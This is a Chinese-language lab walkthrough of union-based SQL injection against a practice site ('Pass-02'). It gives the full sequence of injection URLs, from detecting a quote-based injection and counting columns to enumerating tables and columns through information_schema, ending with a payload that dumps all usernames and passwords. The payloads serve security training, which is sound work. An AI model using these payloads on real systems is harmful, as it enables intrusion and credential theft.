sql_lab中sql注入之union联合注入

1.判断注入类型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是'注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

相关推荐
我的golang之路果然有问题26 分钟前
速成GO访问sql,个人笔记
经验分享·笔记·后端·sql·golang·go·database
柏油35 分钟前
MySql InnoDB 事务实现之 undo log 日志
数据库·后端·mysql
DolphinScheduler社区1 小时前
白鲸开源WhaleStudio与崖山数据库管理系统YashanDB完成产品兼容互认证
数据库·开源·认证·崖山数据库·白鲸开源
阑梦清川1 小时前
AI超级智能体项目教程(二)---后端项目初始化(设计knif4j接口文档的使用)
java·前端·数据库
hotlinhao1 小时前
ThinkPHP6模型中多组条件逻辑或Or查询的使用
linux·服务器·数据库
jack xu11 小时前
高频面试题:如何保证数据库和es数据一致性
java·大数据·数据库·mysql·elasticsearch
Pocker_Spades_A2 小时前
金仓数据库征文-政务领域国产化数据库更替:金仓 KingbaseES 应用实践
数据库·政务·金仓数据库 2025 征文·数据库平替用金仓
XY.散人2 小时前
初识Redis · 哨兵机制
数据库·redis·缓存
__淡墨青衫__2 小时前
Django之旅:第七节--模版继承
数据库·django·sqlite
秃头佛爷2 小时前
常用SQL整理
数据库·sql